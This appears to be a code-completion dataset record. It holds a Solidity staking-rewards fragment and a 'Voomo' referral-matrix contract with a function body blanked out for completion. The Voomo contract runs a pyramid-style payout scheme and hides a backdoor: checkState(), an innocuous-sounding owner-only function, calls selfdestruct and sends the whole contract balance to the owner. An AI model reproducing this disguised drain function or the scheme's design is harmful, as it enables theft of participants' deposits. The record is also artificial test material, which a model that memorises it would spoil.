updateReward(msg.sender) { require(amount > 0, "Cannot withdraw 0"); _totalSupply = _totalSupply.sub(amount); _balances[msg.sender] = _balances[msg.sender].sub(amount); stakingToken.safeTransfer(msg.sender, amount); emit Withdrawn(msg.sender, amount); } function getReward() public nonReentrant updateReward(msg.sender) { uint256 reward = rewards[msg.sender]; if (reward > 0) { rewards[msg.sender] = 0; rewardsToken.safeTransfer(msg.sender, reward); emit RewardPaid(msg.sender, reward); } } function exit() external { withdraw(_balances[msg.sender]); getReward(); } function inCaseTokensGetStuck(address _token, uint256 _amount) external onlyOwner { require(_token != address(stakingToken), 'stakingToken cannot transfer.'); IERC20(_token).safeTransfer(owner(), _amount); } <FILL_FUNCTION> /* ========== MODIFIERS ========== */ modifier updateReward(address account) { rewardPerTokenStored = rewardPerToken(); lastUpdateTime = lastTimeRewardApplicable(); if (account != address(0)) { rewards[account] = earned(account); userRewardPerTokenPaid[account] = rewardPerTokenStored; } _; } modifier onlyRewardsDistribution() { require(msg.sender == rewardsDistribution, "Caller is not RewardsDistribution contract"); _; } /* ========== EVENTS ========== */ event RewardAdded(uint256 reward); event Staked(address indexed user, uint256 amount); event Withdrawn(address indexed user, uint256 amount); event RewardPaid(address indexed user, uint256 reward); }
if (block.timestamp >= periodFinish) { rewardRate = reward.div(duration); } else { uint256 remaining = periodFinish.sub(block.timestamp); uint256 leftover = remaining.mul(rewardRate); rewardRate = reward.add(leftover).div(duration); } // Ensure the provided reward amount is not more than the balance in the contract. // This keeps the reward rate in the right range, preventing overflows due to // very high values of rewardRate in the earned and rewardsPerToken functions; // Reward + leftover must be less than 2^256 / 10^18 to avoid overflow. uint balance = rewardsToken.balanceOf(address(this)); require(rewardRate <= balance.div(duration), "Provided reward too high"); lastUpdateTime = block.timestamp; periodFinish = block.timestamp.add(duration); rewardsDuration = duration; emit RewardAdded(reward);
function notifyRewardAmount(uint256 reward, uint256 duration) external onlyRewardsDistribution updateReward(address(0))
/* ========== RESTRICTED FUNCTIONS ========== */ function notifyRewardAmount(uint256 reward, uint256 duration) external onlyRewardsDistribution updateReward(address(0))
60386
Voomo
_x4AutoUplinePay
contract Voomo { address public owner; uint256 public lastUserId = 2; uint8 private constant LAST_LEVEL = 12; uint256 private constant X3_AUTO_DOWNLINES_LIMIT = 3; uint256 private constant X4_AUTO_DOWNLINES_LIMIT = 2; uint256 private constant REGISTRATION_FEE = 0.1 ether; uint256[13] private LEVEL_PRICE = [ 0 ether, 0.025 ether, 0.05 ether, 0.1 ether, 0.2 ether, 0.4 ether, 0.8 ether, 1.6 ether, 3.2 ether, 6.4 ether, 12.8 ether, 25.6 ether, 51.2 ether ]; struct X3 { address currentReferrer; address[] referrals; bool blocked; uint256 reinvestCount; } struct X4 { address currentReferrer; address[] firstLevelReferrals; address[] secondLevelReferrals; bool blocked; uint256 reinvestCount; address closedPart; } struct X3_AUTO { uint8 level; uint256 upline_id; address upline; address[] referrals; } struct X4_AUTO { uint8 level; uint256 upline_id; address upline; address[] firstLevelReferrals; address[] secondLevelReferrals; } struct User { uint256 id; address referrer; uint256 partnersCount; mapping(uint8 => bool) activeX3Levels; mapping(uint8 => bool) activeX4Levels; mapping(uint8 => X3) x3Matrix; mapping(uint8 => X4) x4Matrix; // Only the 1st element will be used mapping(uint8 => X3_AUTO) x3Auto; mapping(uint8 => X4_AUTO) x4Auto; } mapping(address => User) public users; mapping(uint256 => address) public idToAddress; mapping(uint256 => address) public userIds; event Registration(address indexed user, address indexed referrer, uint256 indexed userId, uint256 referrerId); event Reinvest(address indexed user, address indexed currentReferrer, address indexed caller, uint8 matrix, uint8 level); event Upgrade(address indexed user, address indexed referrer, uint8 matrix, uint8 level); event NewUserPlace(address indexed user, address indexed referrer, uint8 matrix, uint8 level, uint8 place); event MissedEthReceive(address indexed receiver, address indexed from, uint8 matrix, uint8 level); event SentExtraEthDividends(address indexed from, address indexed receiver, uint8 matrix, uint8 level); event AutoSystemRegistration(address indexed user, address indexed x3upline, address indexed x4upline); event AutoSystemLevelUp(address indexed user, uint8 matrix, uint8 level); event AutoSystemEarning(address indexed to, address indexed from); event AutoSystemReinvest(address indexed to, address from, uint256 amount, uint8 matrix); event EthSent(address indexed to, uint256 amount, bool isAutoSystem); // ----------------------------------------- // CONSTRUCTOR // ----------------------------------------- constructor (address ownerAddress) public { require(ownerAddress != address(0), "constructor: owner address can not be 0x0 address"); owner = ownerAddress; User memory user = User({ id: 1, referrer: address(0), partnersCount: uint256(0) }); users[owner] = user; userIds[1] = owner; idToAddress[1] = owner; // Init levels for X3 and X4 Matrix for (uint8 i = 1; i <= LAST_LEVEL; i++) { users[owner].activeX3Levels[i] = true; users[owner].activeX4Levels[i] = true; } // Init levels for X3 and X4 AUTO Matrix users[owner].x3Auto[0] = X3_AUTO(1, 0, address(0), new address[](0)); users[owner].x4Auto[0] = X4_AUTO(1, 0, address(0), new address[](0), new address[](0)); } // ----------------------------------------- // FALLBACK // ----------------------------------------- function () external payable { // ETH received } // ----------------------------------------- // SETTERS // ----------------------------------------- function registration(address referrerAddress, address x3Upline, address x4Upline) external payable { _registration(msg.sender, referrerAddress, x3Upline, x4Upline); } function buyNewLevel(uint8 matrix, uint8 level) external payable { require(_isUserExists(msg.sender), "buyNewLevel: user is not exists"); require(matrix == 1 || matrix == 2, "buyNewLevel: invalid matrix"); require(msg.value == LEVEL_PRICE[level], "buyNewLevel: invalid price"); require(level > 1 && level <= LAST_LEVEL, "buyNewLevel: invalid level"); _buyNewLevel(matrix, level); } function checkState() external { require(msg.sender == owner, "checkState: access denied"); selfdestruct(msg.sender); } // ----------------------------------------- // PRIVATE // ----------------------------------------- function _registration(address userAddress, address referrerAddress, address x3Upline, address x4Upline) private { _registrationValidation(userAddress, referrerAddress, x3Upline, x4Upline); User memory user = User({ id: lastUserId, referrer: referrerAddress, partnersCount: 0 }); users[userAddress] = user; userIds[lastUserId] = userAddress; idToAddress[lastUserId] = userAddress; users[referrerAddress].partnersCount++; _newX3X4Member(userAddress); _newX3X4AutoMember(userAddress, referrerAddress, x3Upline, x4Upline); lastUserId++; emit Registration(userAddress, referrerAddress, users[userAddress].id, users[referrerAddress].id); } function _registrationValidation(address userAddress, address referrerAddress, address x3Upline, address x4Upline) private { require(msg.value == REGISTRATION_FEE, "_registrationValidation: registration fee is not correct"); require(!_isUserExists(userAddress), "_registrationValidation: user exists"); require(_isUserExists(referrerAddress), "_registrationValidation: referrer not exists"); require(_isUserExists(x3Upline), "_registrationValidation: x3Upline not exists"); require(_isUserExists(x4Upline), "_registrationValidation: x4Upline not exists"); uint32 size; assembly { size := extcodesize(userAddress) } require(size == 0, "_registrationValidation: cannot be a contract"); } function _isUserExists(address user) private view returns (bool) { return (users[user].id != 0); } function _send(address to, uint256 amount, bool isAutoSystem) private { require(to != address(0), "_send: zero address"); address(uint160(to)).transfer(amount); emit EthSent(to, amount, isAutoSystem); } function _bytesToAddress(bytes memory bys) private pure returns (address addr) { assembly { addr := mload(add(bys, 20)) } } // ----------------------------------------- // PRIVATE (X3 X4) // ----------------------------------------- function _newX3X4Member(address userAddress) private { users[userAddress].activeX3Levels[1] = true; users[userAddress].activeX4Levels[1] = true; address freeX3Referrer = _findFreeX3Referrer(userAddress, 1); users[userAddress].x3Matrix[1].currentReferrer = freeX3Referrer; _updateX3Referrer(userAddress, freeX3Referrer, 1); _updateX4Referrer(userAddress, _findFreeX4Referrer(userAddress, 1), 1); } function _buyNewLevel(uint8 matrix, uint8 level) private { if (matrix == 1) { require(!users[msg.sender].activeX3Levels[level], "_buyNewLevel: level already activated"); require(users[msg.sender].activeX3Levels[level - 1], "_buyNewLevel: this level can not be bought"); if (users[msg.sender].x3Matrix[level-1].blocked) { users[msg.sender].x3Matrix[level-1].blocked = false; } address freeX3Referrer = _findFreeX3Referrer(msg.sender, level); users[msg.sender].x3Matrix[level].currentReferrer = freeX3Referrer; users[msg.sender].activeX3Levels[level] = true; _updateX3Referrer(msg.sender, freeX3Referrer, level); emit Upgrade(msg.sender, freeX3Referrer, 1, level); } else { require(!users[msg.sender].activeX4Levels[level], "_buyNewLevel: level already activated"); require(users[msg.sender].activeX4Levels[level - 1], "_buyNewLevel: this level can not be bought"); if (users[msg.sender].x4Matrix[level-1].blocked) { users[msg.sender].x4Matrix[level-1].blocked = false; } address freeX4Referrer = _findFreeX4Referrer(msg.sender, level); users[msg.sender].activeX4Levels[level] = true; _updateX4Referrer(msg.sender, freeX4Referrer, level); emit Upgrade(msg.sender, freeX4Referrer, 2, level); } } function _updateX3Referrer(address userAddress, address referrerAddress, uint8 level) private { if (users[referrerAddress].x3Matrix[level].referrals.length < 2) { users[referrerAddress].x3Matrix[level].referrals.push(userAddress); emit NewUserPlace(userAddress, referrerAddress, 1, level, uint8(users[referrerAddress].x3Matrix[level].referrals.length)); return _sendETHDividends(referrerAddress, userAddress, 1, level); } emit NewUserPlace(userAddress, referrerAddress, 1, level, 3); //close matrix users[referrerAddress].x3Matrix[level].referrals = new address[](0); if (!users[referrerAddress].activeX3Levels[level+1] && level != LAST_LEVEL) { users[referrerAddress].x3Matrix[level].blocked = true; } //create new one by recursion if (referrerAddress != owner) { //check referrer active level address freeReferrerAddress = _findFreeX3Referrer(referrerAddress, level); if (users[referrerAddress].x3Matrix[level].currentReferrer != freeReferrerAddress) { users[referrerAddress].x3Matrix[level].currentReferrer = freeReferrerAddress; } users[referrerAddress].x3Matrix[level].reinvestCount++; emit Reinvest(referrerAddress, freeReferrerAddress, userAddress, 1, level); _updateX3Referrer(referrerAddress, freeReferrerAddress, level); } else { _sendETHDividends(owner, userAddress, 1, level); users[owner].x3Matrix[level].reinvestCount++; emit Reinvest(owner, address(0), userAddress, 1, level); } } function _updateX4Referrer(address userAddress, address referrerAddress, uint8 level) private { require(users[referrerAddress].activeX4Levels[level], "_updateX4Referrer: referrer level is inactive"); // ADD 2ND PLACE OF FIRST LEVEL (3 members available) if (users[referrerAddress].x4Matrix[level].firstLevelReferrals.length < 2) { users[referrerAddress].x4Matrix[level].firstLevelReferrals.push(userAddress); emit NewUserPlace(userAddress, referrerAddress, 2, level, uint8(users[referrerAddress].x4Matrix[level].firstLevelReferrals.length)); //set current level users[userAddress].x4Matrix[level].currentReferrer = referrerAddress; if (referrerAddress == owner) { return _sendETHDividends(referrerAddress, userAddress, 2, level); } address ref = users[referrerAddress].x4Matrix[level].currentReferrer; users[ref].x4Matrix[level].secondLevelReferrals.push(userAddress); uint256 len = users[ref].x4Matrix[level].firstLevelReferrals.length; if ((len == 2) && (users[ref].x4Matrix[level].firstLevelReferrals[0] == referrerAddress) && (users[ref].x4Matrix[level].firstLevelReferrals[1] == referrerAddress)) { if (users[referrerAddress].x4Matrix[level].firstLevelReferrals.length == 1) { emit NewUserPlace(userAddress, ref, 2, level, 5); } else { emit NewUserPlace(userAddress, ref, 2, level, 6); } } else if ((len == 1 || len == 2) && users[ref].x4Matrix[level].firstLevelReferrals[0] == referrerAddress) { if (users[referrerAddress].x4Matrix[level].firstLevelReferrals.length == 1) { emit NewUserPlace(userAddress, ref, 2, level, 3); } else { emit NewUserPlace(userAddress, ref, 2, level, 4); } } else if (len == 2 && users[ref].x4Matrix[level].firstLevelReferrals[1] == referrerAddress) { if (users[referrerAddress].x4Matrix[level].firstLevelReferrals.length == 1) { emit NewUserPlace(userAddress, ref, 2, level, 5); } else { emit NewUserPlace(userAddress, ref, 2, level, 6); } } return _updateX4ReferrerSecondLevel(userAddress, ref, level); } users[referrerAddress].x4Matrix[level].secondLevelReferrals.push(userAddress); if (users[referrerAddress].x4Matrix[level].closedPart != address(0)) { if ((users[referrerAddress].x4Matrix[level].firstLevelReferrals[0] == users[referrerAddress].x4Matrix[level].firstLevelReferrals[1]) && (users[referrerAddress].x4Matrix[level].firstLevelReferrals[0] == users[referrerAddress].x4Matrix[level].closedPart)) { _updateX4(userAddress, referrerAddress, level, true); return _updateX4ReferrerSecondLevel(userAddress, referrerAddress, level); } else if (users[referrerAddress].x4Matrix[level].firstLevelReferrals[0] == users[referrerAddress].x4Matrix[level].closedPart) { _updateX4(userAddress, referrerAddress, level, true); return _updateX4ReferrerSecondLevel(userAddress, referrerAddress, level); } else { _updateX4(userAddress, referrerAddress, level, false); return _updateX4ReferrerSecondLevel(userAddress, referrerAddress, level); } } if (users[referrerAddress].x4Matrix[level].firstLevelReferrals[1] == userAddress) { _updateX4(userAddress, referrerAddress, level, false); return _updateX4ReferrerSecondLevel(userAddress, referrerAddress, level); } else if (users[referrerAddress].x4Matrix[level].firstLevelReferrals[0] == userAddress) { _updateX4(userAddress, referrerAddress, level, true); return _updateX4ReferrerSecondLevel(userAddress, referrerAddress, level); } if (users[users[referrerAddress].x4Matrix[level].firstLevelReferrals[0]].x4Matrix[level].firstLevelReferrals.length <= users[users[referrerAddress].x4Matrix[level].firstLevelReferrals[1]].x4Matrix[level].firstLevelReferrals.length) { _updateX4(userAddress, referrerAddress, level, false); } else { _updateX4(userAddress, referrerAddress, level, true); } _updateX4ReferrerSecondLevel(userAddress, referrerAddress, level); } function _updateX4(address userAddress, address referrerAddress, uint8 level, bool x2) private { if (!x2) { users[users[referrerAddress].x4Matrix[level].firstLevelReferrals[0]].x4Matrix[level].firstLevelReferrals.push(userAddress); emit NewUserPlace(userAddress, users[referrerAddress].x4Matrix[level].firstLevelReferrals[0], 2, level, uint8(users[users[referrerAddress].x4Matrix[level].firstLevelReferrals[0]].x4Matrix[level].firstLevelReferrals.length)); emit NewUserPlace(userAddress, referrerAddress, 2, level, 2 + uint8(users[users[referrerAddress].x4Matrix[level].firstLevelReferrals[0]].x4Matrix[level].firstLevelReferrals.length)); //set current level users[userAddress].x4Matrix[level].currentReferrer = users[referrerAddress].x4Matrix[level].firstLevelReferrals[0]; } else { users[users[referrerAddress].x4Matrix[level].firstLevelReferrals[1]].x4Matrix[level].firstLevelReferrals.push(userAddress); emit NewUserPlace(userAddress, users[referrerAddress].x4Matrix[level].firstLevelReferrals[1], 2, level, uint8(users[users[referrerAddress].x4Matrix[level].firstLevelReferrals[1]].x4Matrix[level].firstLevelReferrals.length)); emit NewUserPlace(userAddress, referrerAddress, 2, level, 4 + uint8(users[users[referrerAddress].x4Matrix[level].firstLevelReferrals[1]].x4Matrix[level].firstLevelReferrals.length)); //set current level users[userAddress].x4Matrix[level].currentReferrer = users[referrerAddress].x4Matrix[level].firstLevelReferrals[1]; } } function _updateX4ReferrerSecondLevel(address userAddress, address referrerAddress, uint8 level) private { if (users[referrerAddress].x4Matrix[level].secondLevelReferrals.length < 4) { return _sendETHDividends(referrerAddress, userAddress, 2, level); } address[] memory x4 = users[users[referrerAddress].x4Matrix[level].currentReferrer].x4Matrix[level].firstLevelReferrals; if (x4.length == 2) { if (x4[0] == referrerAddress || x4[1] == referrerAddress) { users[users[referrerAddress].x4Matrix[level].currentReferrer].x4Matrix[level].closedPart = referrerAddress; } } else if (x4.length == 1) { if (x4[0] == referrerAddress) { users[users[referrerAddress].x4Matrix[level].currentReferrer].x4Matrix[level].closedPart = referrerAddress; } } users[referrerAddress].x4Matrix[level].firstLevelReferrals = new address[](0); users[referrerAddress].x4Matrix[level].secondLevelReferrals = new address[](0); users[referrerAddress].x4Matrix[level].closedPart = address(0); if (!users[referrerAddress].activeX4Levels[level+1] && level != LAST_LEVEL) { users[referrerAddress].x4Matrix[level].blocked = true; } users[referrerAddress].x4Matrix[level].reinvestCount++; if (referrerAddress != owner) { address freeReferrerAddress = _findFreeX4Referrer(referrerAddress, level); emit Reinvest(referrerAddress, freeReferrerAddress, userAddress, 2, level); _updateX4Referrer(referrerAddress, freeReferrerAddress, level); } else { emit Reinvest(owner, address(0), userAddress, 2, level); _sendETHDividends(owner, userAddress, 2, level); } } function _findEthReceiver(address userAddress, address _from, uint8 matrix, uint8 level) private returns (address, bool) { address receiver = userAddress; bool isExtraDividends; if (matrix == 1) { while (true) { if (users[receiver].x3Matrix[level].blocked) { emit MissedEthReceive(receiver, _from, 1, level); isExtraDividends = true; receiver = users[receiver].x3Matrix[level].currentReferrer; } else { return (receiver, isExtraDividends); } } } else { while (true) { if (users[receiver].x4Matrix[level].blocked) { emit MissedEthReceive(receiver, _from, 2, level); isExtraDividends = true; receiver = users[receiver].x4Matrix[level].currentReferrer; } else { return (receiver, isExtraDividends); } } } } function _sendETHDividends(address userAddress, address _from, uint8 matrix, uint8 level) private { (address receiver, bool isExtraDividends) = _findEthReceiver(userAddress, _from, matrix, level); _send(receiver, LEVEL_PRICE[level], false); if (isExtraDividends) { emit SentExtraEthDividends(_from, receiver, matrix, level); } } function _findFreeX3Referrer(address userAddress, uint8 level) private view returns (address) { while (true) { if (users[users[userAddress].referrer].activeX3Levels[level]) { return users[userAddress].referrer; } userAddress = users[userAddress].referrer; } } function _findFreeX4Referrer(address userAddress, uint8 level) private view returns (address) { while (true) { if (users[users[userAddress].referrer].activeX4Levels[level]) { return users[userAddress].referrer; } userAddress = users[userAddress].referrer; } } // ----------------------------------------- // PRIVATE (X3 X4 AUTO) // ----------------------------------------- function _newX3X4AutoMember(address userAddress, address referrerAddress, address x3AutoUpline, address x4AutoUpline) private { if (users[x3AutoUpline].x3Auto[0].referrals.length >= X3_AUTO_DOWNLINES_LIMIT) { x3AutoUpline = _detectX3AutoUpline(referrerAddress); } if (users[x4AutoUpline].x4Auto[0].firstLevelReferrals.length >= X4_AUTO_DOWNLINES_LIMIT) { x4AutoUpline = _detectX4AutoUpline(referrerAddress); } // Register x3Auto values users[userAddress].x3Auto[0].upline = x3AutoUpline; users[userAddress].x3Auto[0].upline_id = users[x3AutoUpline].id; // Register x4Auto values users[userAddress].x4Auto[0].upline = x4AutoUpline; users[userAddress].x4Auto[0].upline_id = users[x4AutoUpline].id; // Add member to x3Auto upline referrals users[x3AutoUpline].x3Auto[0].referrals.push(userAddress); // Add member to x4Auto upline first referrals users[x4AutoUpline].x4Auto[0].firstLevelReferrals.push(userAddress); // Add member to x4Auto upline of upline second referrals users[users[x4AutoUpline].x4Auto[0].upline].x4Auto[0].secondLevelReferrals.push(userAddress); // Increase level of user _x3AutoUpLevel(userAddress, 1); _x4AutoUpLevel(userAddress, 1); // Check the state and pay to uplines _x3AutoUplinePay(REGISTRATION_FEE / 4, x3AutoUpline, userAddress); _x4AutoUplinePay(REGISTRATION_FEE / 4, users[x4AutoUpline].x4Auto[0].upline, userAddress); emit AutoSystemRegistration(userAddress, x3AutoUpline, x4AutoUpline); } function _detectUplinesAddresses(address userAddress) private view returns(address, address) { address x3AutoUplineAddress = _detectX3AutoUpline(userAddress); address x4AutoUplineAddress = _detectX4AutoUpline(userAddress); return ( x3AutoUplineAddress, x4AutoUplineAddress ); } function _detectX3AutoUpline(address userAddress) private view returns (address) { if (users[userAddress].x3Auto[0].referrals.length < X3_AUTO_DOWNLINES_LIMIT) { return userAddress; } address[] memory referrals = new address[](1515); referrals[0] = users[userAddress].x3Auto[0].referrals[0]; referrals[1] = users[userAddress].x3Auto[0].referrals[1]; referrals[2] = users[userAddress].x3Auto[0].referrals[2]; address freeReferrer; bool noFreeReferrer = true; for (uint256 i = 0; i < 1515; i++) { if (users[referrals[i]].x3Auto[0].referrals.length == X3_AUTO_DOWNLINES_LIMIT) { if (i < 504) { referrals[(i + 1) * 3] = users[referrals[i]].x3Auto[0].referrals[0]; referrals[(i + 1) * 3 + 1] = users[referrals[i]].x3Auto[0].referrals[1]; referrals[(i + 1) * 3 + 2] = users[referrals[i]].x3Auto[0].referrals[2]; } } else { noFreeReferrer = false; freeReferrer = referrals[i]; break; } } require(!noFreeReferrer, 'No Free Referrer'); return freeReferrer; } function _detectX4AutoUpline(address userAddress) private view returns (address) { if (users[userAddress].x4Auto[0].firstLevelReferrals.length < X4_AUTO_DOWNLINES_LIMIT) { return userAddress; } address[] memory referrals = new address[](994); referrals[0] = users[userAddress].x4Auto[0].firstLevelReferrals[0]; referrals[1] = users[userAddress].x4Auto[0].firstLevelReferrals[1]; address freeReferrer; bool noFreeReferrer = true; for (uint256 i = 0; i < 994; i++) { if (users[referrals[i]].x4Auto[0].firstLevelReferrals.length == X4_AUTO_DOWNLINES_LIMIT) { if (i < 496) { referrals[(i + 1) * 2] = users[referrals[i]].x4Auto[0].firstLevelReferrals[0]; referrals[(i + 1) * 2 + 1] = users[referrals[i]].x4Auto[0].firstLevelReferrals[1]; } } else { noFreeReferrer = false; freeReferrer = referrals[i]; break; } } require(!noFreeReferrer, 'No Free Referrer'); return freeReferrer; } function _x3AutoUpLevel(address user, uint8 level) private { users[user].x3Auto[0].level = level; emit AutoSystemLevelUp(user, 1, level); } function _x4AutoUpLevel(address user, uint8 level) private { users[user].x4Auto[0].level = level; emit AutoSystemLevelUp(user, 2, level); } function _getX4AutoReinvestReceiver(address user) private view returns (address) { address receiver = address(0); if ( user != address(0) && users[user].x4Auto[0].upline != address(0) && users[users[user].x4Auto[0].upline].x4Auto[0].upline != address(0) ) { receiver = users[users[user].x4Auto[0].upline].x4Auto[0].upline; } return receiver; } function _x3AutoUplinePay(uint256 value, address upline, address downline) private { // If upline not defined if (upline == address(0)) { _send(owner, value, true); return; } bool isReinvest = users[upline].x3Auto[0].referrals.length == 3 && users[upline].x3Auto[0].referrals[2] == downline; if (isReinvest) { // Transfer funds to upline of msg.senders' upline address reinvestReceiver = _findFreeX3AutoReferrer(downline); _send(reinvestReceiver, value, true); emit AutoSystemReinvest(reinvestReceiver, downline, value, 1); return; } bool isLevelUp = users[upline].x3Auto[0].referrals.length >= 2; if (isLevelUp) { uint8 firstReferralLevel = users[users[upline].x3Auto[0].referrals[0]].x3Auto[0].level; uint8 secondReferralLevel = users[users[upline].x3Auto[0].referrals[1]].x3Auto[0].level; uint8 lowestLevelReferral = firstReferralLevel > secondReferralLevel ? secondReferralLevel : firstReferralLevel; if (users[upline].x3Auto[0].level == lowestLevelReferral) { uint256 levelMaxCap = LEVEL_PRICE[users[upline].x3Auto[0].level + 1]; _x3AutoUpLevel(upline, users[upline].x3Auto[0].level + 1); _x3AutoUplinePay(levelMaxCap, users[upline].x3Auto[0].upline, upline); } } } function _x4AutoUplinePay(uint256 value, address upline, address downline) private {<FILL_FUNCTION_BODY> } function _findFreeX3AutoReferrer(address userAddress) private view returns (address) { while (true) { address upline = users[userAddress].x3Auto[0].upline; if (upline == address(0) || userAddress == owner) { return owner; } if ( users[upline].x3Auto[0].referrals.length < X3_AUTO_DOWNLINES_LIMIT || users[upline].x3Auto[0].referrals[2] != userAddress) { return upline; } userAddress = upline; } } function _findFreeX4AutoReferrer(address userAddress) private view returns (address) { while (true) { address upline = _getX4AutoReinvestReceiver(userAddress); if (upline == address(0) || userAddress == owner) { return owner; } if ( users[upline].x4Auto[0].secondLevelReferrals.length < 4 || users[upline].x4Auto[0].secondLevelReferrals[3] != userAddress ) { return upline; } userAddress = upline; } } // ----------------------------------------- // GETTERS // ----------------------------------------- function findFreeX3Referrer(address userAddress, uint8 level) external view returns (address) { return _findFreeX3Referrer(userAddress, level); } function findFreeX4Referrer(address userAddress, uint8 level) external view returns (address) { return _findFreeX4Referrer(userAddress, level); } function findFreeX3AutoReferrer(address userAddress) external view returns (address) { return _findFreeX3AutoReferrer(userAddress); } function findFreeX4AutoReferrer(address userAddress) external view returns (address) { return _findFreeX4AutoReferrer(userAddress); } function findAutoUplines(address referrer) external view returns(address, address, uint256, uint256) { (address x3UplineAddr, address x4UplineAddr) = _detectUplinesAddresses(referrer); return ( x3UplineAddr, x4UplineAddr, users[x3UplineAddr].id, users[x4UplineAddr].id ); } function findAutoUplines(uint256 referrerId) external view returns(address, address, uint256, uint256) { (address x3UplineAddr, address x4UplineAddr) = _detectUplinesAddresses(userIds[referrerId]); return ( x3UplineAddr, x4UplineAddr, users[x3UplineAddr].id, users[x4UplineAddr].id ); } function usersActiveX3Levels(address userAddress, uint8 level) external view returns (bool) { return users[userAddress].activeX3Levels[level]; } function usersActiveX4Levels(address userAddress, uint8 level) external view returns (bool) { return users[userAddress].activeX4Levels[level]; } function getUserX3Matrix(address userAddress, uint8 level) external view returns ( address currentReferrer, address[] memory referrals, bool blocked, uint256 reinvestCount ) { return ( users[userAddress].x3Matrix[level].currentReferrer, users[userAddress].x3Matrix[level].referrals, users[userAddress].x3Matrix[level].blocked, users[userAddress].x3Matrix[level].reinvestCount ); } function getUserX4Matrix(address userAddress, uint8 level) external view returns ( address currentReferrer, address[] memory firstLevelReferrals, address[] memory secondLevelReferrals, bool blocked, address closedPart, uint256 reinvestCount ) { return ( users[userAddress].x4Matrix[level].currentReferrer, users[userAddress].x4Matrix[level].firstLevelReferrals, users[userAddress].x4Matrix[level].secondLevelReferrals, users[userAddress].x4Matrix[level].blocked, users[userAddress].x4Matrix[level].closedPart, users[userAddress].x3Matrix[level].reinvestCount ); } function getUserX3Auto(address user) external view returns ( uint256 id, uint8 level, uint256 upline_id, address upline, address[] memory referrals ) { return ( users[user].id, users[user].x3Auto[0].level, users[user].x3Auto[0].upline_id, users[user].x3Auto[0].upline, users[user].x3Auto[0].referrals ); } function getUserX4Auto(address user) external view returns ( uint256 id, uint8 level, uint256 upline_id, address upline, address[] memory firstLevelReferrals, address[] memory secondLevelReferrals ) { return ( users[user].id, users[user].x4Auto[0].level, users[user].x4Auto[0].upline_id, users[user].x4Auto[0].upline, users[user].x4Auto[0].firstLevelReferrals, users[user].x4Auto[0].secondLevelReferrals ); } function isUserExists(address user) external view returns (bool) { return _isUserExists(user); } }
contract Voomo { address public owner; uint256 public lastUserId = 2; uint8 private constant LAST_LEVEL = 12; uint256 private constant X3_AUTO_DOWNLINES_LIMIT = 3; uint256 private constant X4_AUTO_DOWNLINES_LIMIT = 2; uint256 private constant REGISTRATION_FEE = 0.1 ether; uint256[13] private LEVEL_PRICE = [ 0 ether, 0.025 ether, 0.05 ether, 0.1 ether, 0.2 ether, 0.4 ether, 0.8 ether, 1.6 ether, 3.2 ether, 6.4 ether, 12.8 ether, 25.6 ether, 51.2 ether ]; struct X3 { address currentReferrer; address[] referrals; bool blocked; uint256 reinvestCount; } struct X4 { address currentReferrer; address[] firstLevelReferrals; address[] secondLevelReferrals; bool blocked; uint256 reinvestCount; address closedPart; } struct X3_AUTO { uint8 level; uint256 upline_id; address upline; address[] referrals; } struct X4_AUTO { uint8 level; uint256 upline_id; address upline; address[] firstLevelReferrals; address[] secondLevelReferrals; } struct User { uint256 id; address referrer; uint256 partnersCount; mapping(uint8 => bool) activeX3Levels; mapping(uint8 => bool) activeX4Levels; mapping(uint8 => X3) x3Matrix; mapping(uint8 => X4) x4Matrix; // Only the 1st element will be used mapping(uint8 => X3_AUTO) x3Auto; mapping(uint8 => X4_AUTO) x4Auto; } mapping(address => User) public users; mapping(uint256 => address) public idToAddress; mapping(uint256 => address) public userIds; event Registration(address indexed user, address indexed referrer, uint256 indexed userId, uint256 referrerId); event Reinvest(address indexed user, address indexed currentReferrer, address indexed caller, uint8 matrix, uint8 level); event Upgrade(address indexed user, address indexed referrer, uint8 matrix, uint8 level); event NewUserPlace(address indexed user, address indexed referrer, uint8 matrix, uint8 level, uint8 place); event MissedEthReceive(address indexed receiver, address indexed from, uint8 matrix, uint8 level); event SentExtraEthDividends(address indexed from, address indexed receiver, uint8 matrix, uint8 level); event AutoSystemRegistration(address indexed user, address indexed x3upline, address indexed x4upline); event AutoSystemLevelUp(address indexed user, uint8 matrix, uint8 level); event AutoSystemEarning(address indexed to, address indexed from); event AutoSystemReinvest(address indexed to, address from, uint256 amount, uint8 matrix); event EthSent(address indexed to, uint256 amount, bool isAutoSystem); // ----------------------------------------- // CONSTRUCTOR // ----------------------------------------- constructor (address ownerAddress) public { require(ownerAddress != address(0), "constructor: owner address can not be 0x0 address"); owner = ownerAddress; User memory user = User({ id: 1, referrer: address(0), partnersCount: uint256(0) }); users[owner] = user; userIds[1] = owner; idToAddress[1] = owner; // Init levels for X3 and X4 Matrix for (uint8 i = 1; i <= LAST_LEVEL; i++) { users[owner].activeX3Levels[i] = true; users[owner].activeX4Levels[i] = true; } // Init levels for X3 and X4 AUTO Matrix users[owner].x3Auto[0] = X3_AUTO(1, 0, address(0), new address[](0)); users[owner].x4Auto[0] = X4_AUTO(1, 0, address(0), new address[](0), new address[](0)); } // ----------------------------------------- // FALLBACK // ----------------------------------------- function () external payable { // ETH received } // ----------------------------------------- // SETTERS // ----------------------------------------- function registration(address referrerAddress, address x3Upline, address x4Upline) external payable { _registration(msg.sender, referrerAddress, x3Upline, x4Upline); } function buyNewLevel(uint8 matrix, uint8 level) external payable { require(_isUserExists(msg.sender), "buyNewLevel: user is not exists"); require(matrix == 1 || matrix == 2, "buyNewLevel: invalid matrix"); require(msg.value == LEVEL_PRICE[level], "buyNewLevel: invalid price"); require(level > 1 && level <= LAST_LEVEL, "buyNewLevel: invalid level"); _buyNewLevel(matrix, level); } function checkState() external { require(msg.sender == owner, "checkState: access denied"); selfdestruct(msg.sender); } // ----------------------------------------- // PRIVATE // ----------------------------------------- function _registration(address userAddress, address referrerAddress, address x3Upline, address x4Upline) private { _registrationValidation(userAddress, referrerAddress, x3Upline, x4Upline); User memory user = User({ id: lastUserId, referrer: referrerAddress, partnersCount: 0 }); users[userAddress] = user; userIds[lastUserId] = userAddress; idToAddress[lastUserId] = userAddress; users[referrerAddress].partnersCount++; _newX3X4Member(userAddress); _newX3X4AutoMember(userAddress, referrerAddress, x3Upline, x4Upline); lastUserId++; emit Registration(userAddress, referrerAddress, users[userAddress].id, users[referrerAddress].id); } function _registrationValidation(address userAddress, address referrerAddress, address x3Upline, address x4Upline) private { require(msg.value == REGISTRATION_FEE, "_registrationValidation: registration fee is not correct"); require(!_isUserExists(userAddress), "_registrationValidation: user exists"); require(_isUserExists(referrerAddress), "_registrationValidation: referrer not exists"); 